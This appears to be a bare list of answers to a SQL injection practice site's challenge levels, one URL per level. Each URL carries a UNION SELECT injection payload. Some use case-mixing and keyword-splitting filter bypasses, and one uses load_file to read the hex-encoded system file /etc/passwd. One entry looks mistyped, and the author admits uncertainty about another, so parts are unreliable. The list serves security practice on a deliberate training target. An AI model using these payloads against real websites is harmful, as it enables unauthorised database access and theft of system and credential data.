http://zixem.altervista.org/SQLi/level1.php?id=1 aNd 1=0 UnIoN seleCt version(),2,3-- -
http://zixem.altervista.org/SQLi/level2.php?showprofile=4' aNd 1=0 uNiOn seleCt version(),2,3,4-- -
http://zixem.altervista.org/SQLi/level3.php?item=3' aNd 1=0 uNionOn seleCt version(),2,3,4-- -
http://zixem.altervista.org/SQLi/level4.php?ebookid=7' aNd 1=2 uNiOn seleCt version(),2,3,4,5-- -
http://zixem.altervista.org/SQLi/level7.php?id=1 and 1=2 union select 1,version(),3-- - : SOURCE
http://zixem.altervista.org/SQLi/lvl8.php?id=(-1)union(SELselectECT(1),version(),3)
http://zixem.altervista.org/SQLi/lvl9.php?id=1+UNION+SELECT+1,load_file(2f6574632f706173737764),3,4,5-- SORRY I'm NOT SURE FOR THAT.
http://zixem.altervista.org/SQLi/blind_lvl6.php?serial=10 aND 1=11 uNiOn seleCt 1,version(),3,4-- -